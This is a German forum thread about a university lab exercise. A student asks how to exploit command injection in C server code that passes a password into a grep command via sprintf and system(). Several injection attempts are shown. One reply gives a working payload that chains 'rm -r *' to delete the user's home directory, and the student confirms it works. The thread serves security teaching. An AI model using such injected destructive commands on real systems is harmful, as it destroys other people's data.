tutorials.de Buch-Aktion 05/2012
ERLEDIGT
JA
ANTWORTEN
2
ZUGRIFFE
1244
EMPFEHLEN
  • An Twitter übertragen
  • An Facebook übertragen
AUF DIESES THEMA
ANTWORTEN
  1. #1
    Krikus Krikus ist offline Mitglied Silber
    Registriert seit
    Jan 2009
    Beiträge
    64
    Hallo,

    für ein Uni-Praktikum sollen wir ein Server-Programm auf Fehler überprüfen.
    Eine mögliche Schwachstelle ist Command Injection. Allerdings habe ich da so meine Schwierigkeiten mit.

    Der Server läuft im home-Verzeichnis des Benutzers "test". Mittels den Befehl "ls" sollen wir uns den Inhalt des Verzeichnis ausgeben.

    Zum Server verbinde ich mich mit netcat.
    Der Befehl den ich absenden kann lautet:

    TUWAS <password>

    Der C-Code in dem der Befehl verarbeitet wird lautet:

    Code c:
    1
    2
    3
    4
    5
    6
    7
    
    sprintf(checkstr, "grep %s dicts/mama > /dev/null", password); //Konsolenbefehl generieren
          result = system(checkstr); //Konsolenbefehl ausführen
          if (result == 0) //password in DAtei gefunden
        {
          printf("Password found!\n");
          return;
        }

    Jetzt habe ich schon verschiedene Command substitionen ausprobiert, aber nichts hat wirklich geklappt.

    Code :
    1
    
    TUWAS hi`;ls`
    --> sh: command substitution: line 0: syntax error near unexpected token `;'

    Code :
    1
    
    TUWAS hi\`;ls\`
    --> Client Terminal hängt und im Server steht unter den Prozessen: sh -c grep hi\`;ls\` dicts/mama
    Mehr passiert hier nicht

    Code :
    1
    
    TUWAS  hi\\\`;ls\\\`
    --> Selber Problem wie oben

    Was mache ich falsch ?
     

  2. #2
    CPoly CPoly ist offline Mitglied Weizenbier
    tutorials.de Premium-User
    Registriert seit
    Sep 2009
    Beiträge
    2.445
    Folgendes als Passwort:

    Code :
    1
    
    foo /dev/null & rm -r * & grep foo

    führt zu diesem Command

    Code :
    1
    
    grep foo /dev/null & rm -r * & grep foo dicts/mama > /dev/null

    und sollte eigentlich den ganzen home folder löschen.
     

  3. #3
    Krikus Krikus ist offline Mitglied Silber
    Registriert seit
    Jan 2009
    Beiträge
    64
    Besten Dank.

    Habs es ausprobiert und es funktioniert.
     

Ähnliche Themen

  1. sed bzw grep problemchen
    Von ma-pi im Forum Linux & Unix
    Antworten: 2
    Letzter Beitrag: 03.03.08, 11:05
  2. Grep
    Von downset04 im Forum CGI, Perl, Python, Ruby, Power Shell
    Antworten: 2
    Letzter Beitrag: 17.10.06, 13:18
  3. grep - zum Haare raufen
    Von Soapp im Forum CGI, Perl, Python, Ruby, Power Shell
    Antworten: 2
    Letzter Beitrag: 18.01.06, 10:51
  4. find und grep mit php
    Von buzzom im Forum PHP
    Antworten: 8
    Letzter Beitrag: 25.08.05, 21:09
  5. grep ab erster Lehrstelle
    Von tefla im Forum Linux & Unix
    Antworten: 4
    Letzter Beitrag: 23.04.03, 16:33